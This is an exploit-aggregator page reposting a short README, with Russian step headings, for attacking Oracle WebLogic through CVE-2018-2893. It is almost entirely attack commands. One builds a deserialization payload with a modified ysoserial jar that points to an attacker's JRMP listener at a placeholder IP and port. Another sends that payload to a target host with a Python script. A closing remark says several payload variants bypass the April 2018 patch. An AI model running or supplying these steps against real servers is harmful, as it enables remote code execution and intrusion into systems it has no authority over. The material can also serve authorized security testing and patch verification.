Sploitus

Exploit for CVE-2018-2893

kitploit · 2026-08-25

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PYN3RD-CVE-2018-2893
# CVE-2018-2893

## Шаг 1

`java -jar ysoserial-cve-2018-2893.jar`

root@kitploit:~
    
    
    WHY SO SERIAL?
    Usage: java -jar ysoserial-cve-2018-2893.jar [payload] '[command]'
    Available payload types:
         Payload     Authors   Dependencies
         -------     -------   ------------
         JRMPClient  @mbechler
         JRMPClient2 @mbechler
         JRMPClient3 @mbechler
         JRMPClient4 @mbechler
         Jdk7u21     @frohoff
    

## Шаг 2

`java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "[IP]:[PORT]" > poc4.ser`

## Шаг 3

`python weblogic.py [HOST] [PORT] poc4.ser`

### Примечание: Любой из JRMPClient2|JRMPClient3|JRMPClient4 может быть использован для обхода Critical Patch Update April 2018.